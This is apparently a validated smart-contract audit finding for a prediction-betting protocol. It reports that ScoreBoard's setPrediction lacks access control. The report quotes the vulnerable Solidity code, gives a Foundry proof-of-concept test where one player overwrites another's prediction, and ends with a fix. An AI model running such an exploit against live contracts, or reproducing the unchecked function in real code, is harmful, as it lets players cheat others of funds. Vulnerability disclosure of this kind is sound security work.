Beginner FriendlyFoundry
100 EXP
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Submission Details
Severity: high
Valid

Any player can change another player prediction using ScoreBoard::setPrediction

Summary

Any player can change another player's prediction using the setPrediction function. This issue can lead to unfair manipulation of the betting outcomes and compromises the integrity of the protocol.

Vulnerability Details

The setPrediction function allows any player to change another player's prediction. This lack of proper access control can result in the manipulation of predictions and unfair betting outcomes. The setPrediction function does not verify that the caller is the owner of the prediction being set. This oversight allows any player to call the function and change the predictions of other players.

// Lacks access control for caller verification
function setPrediction(
address player,
uint256 matchNumber,
Result result
) public {
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)
playersPredictions[player].predictions[matchNumber] = result;
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (
playersPredictions[player].predictions[i] != Result.Pending &&
playersPredictions[player].isPaid[i]
) ++playersPredictions[player].predictionsCount;
}
}

POC

function test_PlayerCanChangePrediction() public {
address stranger4 = makeAddr("stranger4");
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger3);
vm.deal(stranger3, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(stranger);
thePredicter.approvePlayer(stranger2);
thePredicter.approvePlayer(stranger3);
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.stopPrank();
vm.startPrank(stranger2);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.Draw
);
vm.stopPrank();
vm.startPrank(stranger3);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.Draw
);
scoreBoard.setPrediction(stranger, 1, ScoreBoard.Result.Draw);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.withdrawPredictionFees();
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.withdraw();
vm.stopPrank();
vm.startPrank(stranger2);
thePredicter.withdraw();
vm.stopPrank();
assertEq(stranger.balance,60000000000000000); // gets 2 predictions correctly instead of 3 because stranger3 changed 1 one of the predictions
assertEq(stranger2.balance,60000000000000000); // gets 2 predictions correct
}

Impact

  1. Manipulation of Predictions: Malicious players can change the predictions of others to manipulate the outcome of the betting.

Tools Used

Manual Review

Recommendations

Implement Access Control: Update the setPrediction function to verify that the caller is the owner of the prediction being set.

function setPrediction(
address player,
uint256 matchNumber,
Result result
) public {
+ if (msg.sender != player){
+ revert NotCaller();
+ }
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)
playersPredictions[player].predictions[matchNumber] = result;
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (
playersPredictions[player].predictions[i] != Result.Pending &&
playersPredictions[player].isPaid[i]
) ++playersPredictions[player].predictionsCount;
}
}
Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

setPrediction lacks access control

setPrediction has no access control and allows manipulation to Players' predictions.

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